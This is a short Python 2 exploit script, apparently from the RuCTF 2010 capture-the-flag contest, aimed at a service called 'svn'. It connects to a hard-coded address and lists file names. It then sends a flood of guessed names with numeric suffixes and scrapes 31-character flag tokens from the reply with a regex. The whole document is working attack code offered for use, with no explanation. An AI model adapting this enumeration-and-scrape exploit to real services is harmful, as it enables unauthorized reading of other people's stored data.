#ructf2010 poc svn #http://smokedchicken.org from socket import * import re HOST = '172.31.255.232' port = 12345 s = socket (AF_INET,SOCK_STREAM) s.setblocking(1) s.settimeout(10) s.connect((HOST,port)) s.send('l\n') r='' while 'time is out' not in r: r = r + s.recv(1) s.close() data='' files = r.split() for flag_file in files: data = data + flag_file+'\n' for j in xrange (34,200): data = data + flag_file + str(j) + '\n' print "exploit len:",len(data) s = socket (AF_INET,SOCK_STREAM) s.setblocking(1) s.settimeout(10) s.connect((HOST,port)) s.send(data) r='' try: while 'time is out' not in r: r = r + s.recv(1024) except: pass s.close() flagset = [] for flag in re.findall('[A-Z0-9]{31}=',r): if flag not in flagset: flagset.append(flag) for flag in flagset: print flag